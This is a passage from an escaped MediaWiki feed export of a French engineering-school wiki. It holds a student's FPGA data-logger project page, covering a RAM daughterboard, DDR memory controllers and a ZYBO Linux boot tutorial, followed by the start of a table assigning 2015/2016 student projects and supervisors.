Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27650</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27650"/>
				<updated>2016-02-23T11:20:02Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015 12;00&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier: Dossier_soutenance_P2_Data_Logger_Hideo_VINOT_IMA5SC_2015.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; mercredi 24 février à 10h avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV pris le 23/02 avec L. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_Final_TENEUR_LIBAERT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:FYP-P10-Lilliad-MSEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_P14_Matthieu_Marcadet.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P18_COLAUTTI_LEFORT.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5-ASSP-JWPL.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Fait Maison&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
